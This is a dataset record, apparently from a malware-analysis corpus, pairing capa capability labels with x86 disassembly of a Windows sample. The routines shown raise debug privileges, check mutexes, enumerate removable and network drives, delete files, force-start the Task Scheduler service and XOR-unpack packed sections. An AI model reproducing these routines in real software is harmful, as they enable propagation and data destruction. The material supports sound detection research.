joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4059f1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi + 0x48]
sub esp, 0x20
push ebx
xor ecx, ecx
sub eax, ecx
push edi
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
je 0x405a17
dec eax
je 0x405a29
dec eax
je 0x405a3b
dec eax
je 0x405a4b
xor al, al
pop edi
pop ebx
leave
ret
lea ebx, [esi + 0x4c]
push ebx
push 1
push ecx
push 0x2e
push ecx
call edi
test eax, eax
je 0x405a5e
xor ecx, ecx
lea ebx, [esi + 0x4c]
push ebx
push 1
push ecx
push 0x23
push ecx
call edi
test eax, eax
je 0x405a5e
xor ecx, ecx
lea ebx, [esi + 0x4c]
push ebx
push 1
push ecx
push 0x2d
push ecx
call edi
test eax, eax
je 0x405a5e
lea ebx, [esi + 0x4c]
push ebx
push 0x208
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x405a11
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
inc dword [esi + 0x48]
push 0x417df0
push ebx
call edi
push str.ntuser4562DC1F_DEAB_4983_9598_
push ebx
call edi
push dword [esi + 0x44]
lea eax, [ebp - 0x20]
push dword [esi + 0x40]
push 0x418210
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
push ebx
call edi
mov eax, dword [esi + 0x40]
mov edx, dword [esi + 0x44]
mov cl, 0x20
call fcn.00411220
push edx
push eax
lea eax, [ebp - 0x20]
push 0x418210
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
push ebx
call edi
push str..pol
push ebx
call edi
mov al, 1
jmp 0x405a13

Function at 0x405cec
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, eax
mov al, byte [edi + 0x258]
mov byte [ebp - 1], al
mov eax, edi
call fcn.00405b4a
test al, al
je 0x405db1
mov eax, edi
call fcn.00405be6
mov ebx, eax
call fcn.00405111
test ebx, ebx
jle 0x405da2
push 1
push ebx
call fcn.00405143
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push dword [edi + 0x254]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [esi + 4]
push dword [esi]
push dword [edi + 0x254]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esi]
mov ecx, dword [esi + 4]
cmp eax, ebx
je 0x405d71
cmp ecx, 1
jle 0x405d71
push ecx
push eax
call fcn.004018cc
mov ecx, dword [esi + 4]
cmp ecx, 4
mov eax, dword [esi]
mov ebx, dword [eax]
jl 0x405d92
add ecx, 0xfffffffc
push ecx
lea ecx, [eax + 4]
push ecx
push eax
call fcn.0040a9c0
add esp, 0xc
add dword [esi + 4], 0xfffffffc
mov eax, dword [esi + 4]
mov ecx, eax
sub ecx, ebx
cmp ecx, eax
jg 0x405da2
sub eax, ecx
mov dword [esi + 4], eax
cmp byte [ebp - 1], 0
jne 0x405dad
call fcn.00405bba
mov al, 1
jmp 0x405db3
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40659d
Capabilities:
Accept command line arguments
Acquire debug privileges
Check if file exists
Delete directory
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, eax
call fcn.00405e88
test al, al
je 0x4066db
xor ebx, ebx
cmp dword [0x41e874], 0xffffffff
jne 0x4065cb
mov dword [0x41e874], ebx
call fcn.00403bed
mov esi, edi
call fcn.00405798
cmp eax, 3
jl 0x4065ea
lea eax, [ebp - 4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push str.SeDebugPrivilege
call fcn.0040246b
push str.SeChangeNotifyPrivilege
call fcn.0040246b
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], ebx
call fcn.00402ac6
xor ecx, ecx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov dword [ebp - 4], ebx
cmp ecx, eax
je 0x406630
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push str.EnableBalloonTips
push eax
push 0x80000001
call fcn.00405983
call fcn.00405798
cmp eax, 0x309
jne 0x406651
push ebx
call fcn.00401676
push eax
xor edi, edi
call fcn.004029ac
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
cmp esi, ebx
je 0x406673
cmp dword [ebp - 0xc], 1
jne 0x406673
call fcn.00403af4
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, edi
call fcn.004038c2
xor ebx, ebx
cmp byte [edi + 0x5958], bl
jne 0x4066db
mov esi, str.C:YxChjQldp_dead
call fcn.00403a16
push edi
call fcn.00402bd5
test al, al
jne 0x4066f2
push edi
call fcn.00402afe
test al, al
jne 0x4066f2
mov dword [ebp - 4], ebx
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4066c7
test al, 0x10
jne 0x4066e0
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xb4
jl 0x4066ac
cmp byte [edi + 0x5958], bl
je 0x406690
pop edi
pop esi
pop ebx
leave
ret
call fcn.00402fc6
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
jmp 0x40664b
call fcn.00402fc6
jmp 0x4066ec
Function at 0x406926
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push ebx
push esi
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x67c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x418370
lea eax, [ebp - 0x67c]
push eax
call ebx
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x67c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x406979
xor al, al
jmp 0x406b0f
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0
call esi
push 0xa
call esi
push 0
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x417df0
lea eax, [ebp - 0x474]
push eax
call ebx
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x474]
push eax
call ebx
test byte [ebp - 0x26c], 0x10
jne 0x406a87
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edi, [ebp - 0x18]
lea eax, [ebp - 0x26c]
call fcn.0040684a
mov edi, dword [ebp + 8]
test al, al
je 0x406a5f
mov eax, dword [edi + 4]
mov dword [ebp - 0x14], eax
call fcn.00403b93
push eax
mov dword [ebp - 0xc], eax
call fcn.0040335d
push eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x474]
push eax
push 0x70941102
push dword [ebp - 0xc]
lea ecx, [ebp - 0x26c]
call fcn.004043aa
push dword [ebp - 0x14]
lea eax, [ebp - 0x26c]
push 0x40683f
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x474]
push eax
push 0x70941101
push dword [ebp - 0xc]
call fcn.0040459f
test al, al
je 0x406a5f
push 0
call fcn.00403b93
push eax
lea edi, [ebp - 0x474]
call fcn.00403d77
push 0xa
call esi
push 0
call esi
mov edi, dword [ebp + 8]
call fcn.00403b93
call fcn.0040319f
mov dword [ebp - 8], eax
sub eax, dword [edi]
cmp eax, 0xb4
jbe 0x406ae4
mov ecx, dword [ebp + 0x10]
lea edx, [edi + 0x30]
call fcn.00405c38
mov eax, dword [ebp - 8]
mov dword [edi], eax
jmp 0x406ae4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x418378
lea eax, [ebp - 0x240]
push eax
call edi
test eax, eax
je 0x406aec
push 0x41837c
lea eax, [ebp - 0x240]
push eax
call edi
test eax, eax
je 0x406aec
lea eax, [ebp - 0x474]
push 0x42130c
push eax
call fcn.004067e4
pop ecx
pop ecx
test al, al
jne 0x406ae4
call fcn.00403b93
lea edi, [ebp - 0x474]
call fcn.0040358c
mov ecx, dword [ebp + 8]
push eax
add ecx, 0x18
call fcn.00405263
push 0xa
call esi
push 0
call esi
lea eax, [ebp - 0x26c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406987
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x406c6d
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x415a3c
push eax
mov dword fs:[0], esp
sub esp, 0x278
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x1c]
push eax
mov ebx, ecx
mov eax, dword [ebx + 4]
push esi
push esi
add eax, 0x90
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x406cc6
mov eax, dword [ebx + 4]
movzx eax, word [eax + 0x90]
sub eax, 0x41
mov dword [esp + 0xc], eax
jmp 0x406cca
mov eax, dword [esp + 0xc]
push eax
push 0x70941101
call fcn.00403b93
push eax
lea eax, [esp + 0x2c]
call fcn.00405acd
mov dword [esp + 0x28c], esi
lea eax, [esp + 0x20]
call fcn.00405b4a
test al, al
je 0x406d3c
lea esi, [esp + 0x10]
call fcn.00404fc9
mov byte [esp + 0x28c], 1
mov eax, esi
lea ecx, [esp + 0x20]
call fcn.00405cec
call fcn.00403b93
lea eax, [ebx + 0x30]
push eax
mov eax, esi
call fcn.00401883
lea edi, [esp + 0x20]
call fcn.00405bba
call fcn.00405111
mov byte [esp + 0x28c], 0
mov eax, esi
call fcn.004050f9
mov eax, dword [ebx + 4]
cmp dword [eax], 0
jne 0x406d77
call fcn.00406b9b
lea eax, [esp + 0x20]
push eax
mov esi, ebx
call fcn.00406b16
xor esi, esi
mov eax, dword [ebx + 4]
cmp dword [eax], 0
jne 0x406d3c
call fcn.00403b93
push eax
push 5
pop eax
call fcn.004033bb
add esi, 5
cmp esi, 0x3c
jge 0x406d3c
jmp 0x406d57
or dword [esp + 0x28c], 0xffffffff
lea eax, [esp + 0x20]
call fcn.00405b17
mov ecx, dword [esp + 0x284]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406f24
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov ebx, eax
mov edi, ebx
imul edi, edi, 0xa0
lea esi, [edi + 0x41fc98]
call fcn.00406d9d
and dword [esi], 0
lea esi, [edi + 0x41fc9c]
call fcn.00406d9d
and dword [esi], 0
lea eax, [ebx + 0x41]
movzx esi, ax
push str.Global_
lea eax, [edi + 0x41fca8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.Global_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
imul ebx, ebx, 0x50
mov dword [ebp - 4], 0x40
sub dword [ebp - 4], eax
push dword [ebp - 4]
add ebx, eax
add ebx, ebx
lea eax, [ebx + 0x41fca8]
push str.Card32STP
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynW]
push eax
call ebx
mov eax, dword [ebp - 8]
lea eax, [eax + 0x41fca8]
mov word [eax], si
lea eax, [edi + 0x41fce8]
push str.Global_
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 4]
push str.Card64X11
push dword [ebp - 0xc]
call ebx
mov eax, dword [ebp - 8]
push 0x4186a0
lea ebx, [edi + 0x41fd28]
push ebx
mov word [eax + 0x41fce8], si
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov word [ebx], si
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0xc]
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x407019
cmp dword [ebp - 0xc], esi
jne 0x40706e
push esi
push 0x2000000
push 3
push esi
push 7
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x2c
pop ebx
push ebx
mov dword [edi + 0x41fca0], eax
lea eax, [ebp - 0x38]
push esi
push eax
call fcn.0040ad30
mov eax, dword [edi + 0x41fca0]
add esp, 0xc
mov dword [ebp - 0x2c], eax
push esi
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 6
call dword [sym.imp.USER32.dll_RegisterDeviceNotificationW]
mov dword [edi + 0x41fca4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407073
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
mov eax, esi
call fcn.00406f24
pop ecx
call fcn.00403b93
push 4
pop eax
call fcn.00404ece
lea ecx, [ebp - 4]
push ecx
push 0
push eax
push 0x406dbb
push 0x10000
push 0
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4070ba
cmp eax, 0xffffffff
je 0x4070ba
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x40730e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x4186a0]
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
mov eax, dword [0x4186a4]
mov dword [ebp - 0xc], eax
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0xd
pop ecx
mov esi, str.PZYDXKIHGFEWVUTSRQONMLJCAB
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor ebx, ebx
mov edi, 0x105
movzx esi, word [ebp + ebx*2 - 0x48]
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0x10], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jne 0x4073c2
push edi
lea eax, [ebp - 0x468]
push eax
xor eax, eax
push eax
push eax
push eax
push edi
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4073c2
push str.trandescend
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4073c2
movzx esi, si
lea eax, [ebp - 0x10]
push eax
sub esi, 0x41
mov eax, esi
imul eax, eax, 0xa0
add eax, 0x41fd28
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [0x41fc90]
call fcn.00407073
pop ecx
inc ebx
cmp ebx, 0x18
jb 0x407347
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40765b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x417df0
lea eax, [ebp - 0x214]
push eax
call esi
lea edi, [ebx + 0x2c]
push edi
lea eax, [ebp - 0x214]
push eax
call esi
test byte [ebx], 0x10
jne 0x407702
cmp byte [0x420d80], 0
jne 0x407803
call fcn.00403b93
push dword [ebp + 8]
lea edi, [ebp - 8]
mov eax, ebx
call fcn.00407598
pop ecx
test al, al
je 0x407803
push 0
push 0
push ebx
lea eax, [ebp - 0x214]
push eax
push 0x70243102
push 0x70243101
call fcn.00403b93
push eax
call fcn.004046a8
test al, al
je 0x407803
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x407803
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x418378
push edi
call esi
test eax, eax
je 0x407803
push 0x41837c
push edi
call esi
test eax, eax
je 0x407803
cmp byte [0x420d80], 0
mov esi, 0x421478
je 0x4077bb
lea eax, [ebp - 0x214]
push 0x421340
push eax
call fcn.004067e4
pop ecx
pop ecx
test al, al
jne 0x4077bb
push dword [ebp + 8]
mov eax, ebx
call fcn.00406752
pop ecx
mov edi, eax
call fcn.00403b93
push edi
mov eax, esi
call fcn.004017ed
mov ecx, dword [0x421478]
cmp dword [ecx + eax*4], edi
je 0x4077bb
call fcn.00403b93
push eax
call fcn.0040335d
push eax
lea eax, [ebp - 0x214]
push eax
push 0x70243102
call fcn.00403b93
push eax
mov ecx, ebx
call fcn.004043aa
test al, al
je 0x4077bb
call fcn.00403b93
mov ebx, edi
mov eax, esi
call fcn.00401826
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call edi
push 0
call edi
call fcn.00403b93
lea edi, [ebp - 0x214]
call fcn.0040358c
mov ecx, dword [0x420d84]
push eax
call fcn.00405263
call fcn.00403b93
call fcn.0040319f
mov edi, eax
sub eax, dword [0x420d88]
cmp eax, 0x12c
jbe 0x407803
mov ecx, dword [0x420d8c]
mov edx, esi
call fcn.00405c38
mov dword [0x420d88], edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407808
Capabilities:
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
je 0x407833
cmp eax, 4
je 0x407833
cmp eax, 3
je 0x407833
test eax, eax
je 0x407833
xor al, al
jmp 0x4078b0
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x418370
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
mov edi, eax
call esi
push 0
call esi
cmp edi, 0xffffffff
je 0x40782f
push dword [ebp + 8]
lea eax, [ebp - 0x45c]
call fcn.0040765b
pop ecx
push 0xa
call esi
push 0
call esi
lea eax, [ebp - 0x45c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40787e
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x4078b4
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x4159e2
call fcn.00411720
sub esp, 0x270
push ebx
push esi
push edi
lea eax, [ebp - 0x2c]
push eax
call fcn.004066f9
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, str.C:Urgent_
push esi
mov byte [0x420d80], 1
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x40795c
call fcn.00403b93
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.004074e0
mov esi, dword [ebp - 0x28]
shr esi, 2
cmp esi, ebx
jle 0x40795c
mov eax, dword [ebp - 0x2c]
push 0x104
lea ecx, [ebp - 0x27c]
lea eax, [eax + ebx*4]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x407957
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x407957
call fcn.00403b93
lea edi, [ebp - 0x27c]
call fcn.0040358c
mov ecx, dword [0x420d78]
push eax
call fcn.00405263
mov byte [0x420d80], 0
inc ebx
cmp ebx, esi
jl 0x407905
cmp byte [0x420d80], 0
je 0x407a31
lea eax, [ebp - 0x3c]
push eax
call fcn.004066f9
mov byte [ebp - 4], 1
call fcn.00403b93
lea eax, [ebp - 0x3c]
push eax
push 0x418414
call fcn.004074e0
mov esi, dword [ebp - 0x38]
shr esi, 2
xor ebx, ebx
test esi, esi
jle 0x4079d4
mov eax, dword [ebp - 0x3c]
push 0x104
lea ecx, [ebp - 0x27c]
lea eax, [eax + ebx*4]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x4079cf
call fcn.00403b93
lea edi, [ebp - 0x27c]
call fcn.0040358c
mov ecx, dword [0x420d78]
push eax
call fcn.00405263
inc ebx
cmp ebx, esi
jl 0x407995
mov eax, dword [0x418840]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x418844]
mov dword [ebp - 0x18], eax
xor eax, eax
lea edi, [ebp - 0x14]
stosw word es:[edi], ax
push 0xc
pop ecx
mov esi, str.PZYDXKIHGFEWVUTSRQONMLJC
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
mov ax, word [ebp + esi*2 - 0x70]
mov word [ebp - 0x1c], ax
call fcn.00403b93
lea edi, [ebp - 0x1c]
call fcn.0040358c
mov ecx, dword [0x420d78]
push eax
call fcn.00405263
inc esi
cmp esi, 0x18
jb 0x4079fc
mov byte [ebp - 4], 0
lea eax, [ebp - 0x3c]
push eax
call fcn.00406722
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x2c]
push eax
call fcn.00406722
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x407be6
Capabilities:
Modify service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
cmp edi, esi
jne 0x407c04
xor eax, eax
jmp 0x407c25
push ebx
push 0x14
push str.Schedule
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call edi
cmp ebx, esi
jne 0x407c29
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x407c3f
push ebx
call edi
mov eax, esi
jmp 0x407c24
cmp dword [ebp - 0x18], 4
jne 0x407c4a
xor esi, esi
inc esi
jmp 0x407c38
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x407c45
jmp 0x407c38
Function at 0x409274
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor esi, esi
push 0x20
lea eax, [ebp - 0x24]
push 0
push eax
call fcn.0040ad30
movzx eax, word [esi + 0x41ccd0]
push eax
push 0x418c68
push edi
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x18], 7
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp + 8]
and dword [ebp - 8], 0
add esp, 0x18
push 4
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x14], edi
call sub.MPR.dll_WNetAddConnection2W
test eax, eax
je 0x4092f3
push 1
push edi
call sub.MPR.dll_WNetCancelConnectionW
inc esi
inc esi
cmp esi, 0x30
jb 0x40927d
xor al, al
pop esi
leave
ret
mov al, 1
jmp 0x4092f0

Function at 0x40a5a0
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, 0x41cc94
push 0x20
lea eax, [ebp - 0x24]
push 0
push eax
call fcn.0040ad30
movzx eax, word [esi]
push eax
push 0x418c68
push edi
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x18], 7
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp + 8]
and dword [ebp - 8], 0
add esp, 0x18
push 4
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x14], edi
call sub.MPR.dll_WNetAddConnection2W
test eax, eax
je 0x40a619
inc esi
inc esi
cmp esi, 0x41ccc2
jl 0x40a5ac
xor al, al
pop esi
leave
ret
mov al, 1
jmp 0x40a616

Function at 0x40f6fc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41ca38]
jne 0x40f706
repz ret
jmp fcn.00410694
Function at 0x4103e5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040bc8a
and dword [ebp - 4], 0
cmp dword [0x41f27c], 0
mov ebx, eax
jne 0x410496
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x410547
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x410547
push eax
call fcn.0040bc18
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41f27c], eax
call esi
push eax
call fcn.0040bc18
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41f280], eax
call esi
push eax
call fcn.0040bc18
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41f284], eax
call esi
push eax
call fcn.0040bc18
pop ecx
mov dword [0x41f28c], eax
test eax, eax
je 0x410496
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040bc18
pop ecx
mov dword [0x41f288], eax
mov eax, dword [0x41f288]
cmp eax, ebx
je 0x4104ee
cmp dword [0x41f28c], ebx
je 0x4104ee
push eax
call fcn.0040bc93
push dword [0x41f28c]
mov esi, eax
call fcn.0040bc93
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4104ee
test edi, edi
je 0x4104ee
call esi
test eax, eax
je 0x4104e5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4104e5
test byte [ebp - 0xc], 1
jne 0x4104ee
or dword [ebp + 0x10], 0x200000
jmp 0x410527
mov eax, dword [0x41f280]
cmp eax, ebx
je 0x410527
push eax
call fcn.0040bc93
pop ecx
test eax, eax
je 0x410527
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410527
mov eax, dword [0x41f284]
cmp eax, ebx
je 0x410527
push eax
call fcn.0040bc93
pop ecx
test eax, eax
je 0x410527
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41f27c]
call fcn.0040bc93
pop ecx
test eax, eax
je 0x410547
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x410549
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x45530353
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x213b4a2d
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219